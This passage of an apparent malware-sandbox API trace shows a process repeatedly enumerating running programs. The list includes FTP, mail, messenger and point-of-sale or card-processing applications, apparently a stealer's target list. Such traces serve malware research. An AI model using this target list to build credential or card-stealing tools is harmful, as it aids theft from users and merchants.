cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0124.005] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0124.007] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0124.010] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0124.013] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0124.015] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0124.101] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0124.105] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0124.108] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0124.112] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0124.115] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0124.118] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0124.124] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0124.127] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0124.130] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0124.134] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0124.138] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0124.141] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0124.144] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0124.147] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0124.150] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0124.153] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0124.158] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0124.168] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0124.174] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0124.182] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0124.189] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0124.193] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0124.196] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0124.200] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0124.204] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0124.207] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0124.267] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0124.273] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0124.278] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0124.290] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0124.304] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0124.309] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0124.312] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0124.314] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0124.316] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0124.319] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0124.321] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0124.323] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0124.325] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0124.329] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0124.331] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0124.337] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0124.339] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0124.342] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0124.348] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0124.350] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0124.354] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0124.356] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0124.360] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0124.362] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0124.365] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.368] Process32Next (in: hSnapshot=0x2084, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0124.370] CloseHandle (hObject=0x2084) returned 1 [0124.370] Sleep (dwMilliseconds=0x64) [0124.471] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e9c [0124.506] Process32First (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.508] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.511] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.515] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.518] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.521] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.524] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.526] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.529] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.531] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.533] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.536] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.538] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.540] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.542] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.545] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.547] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.549] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.552] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.554] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.556] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0124.558] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.561] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.563] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0124.566] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0124.569] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, 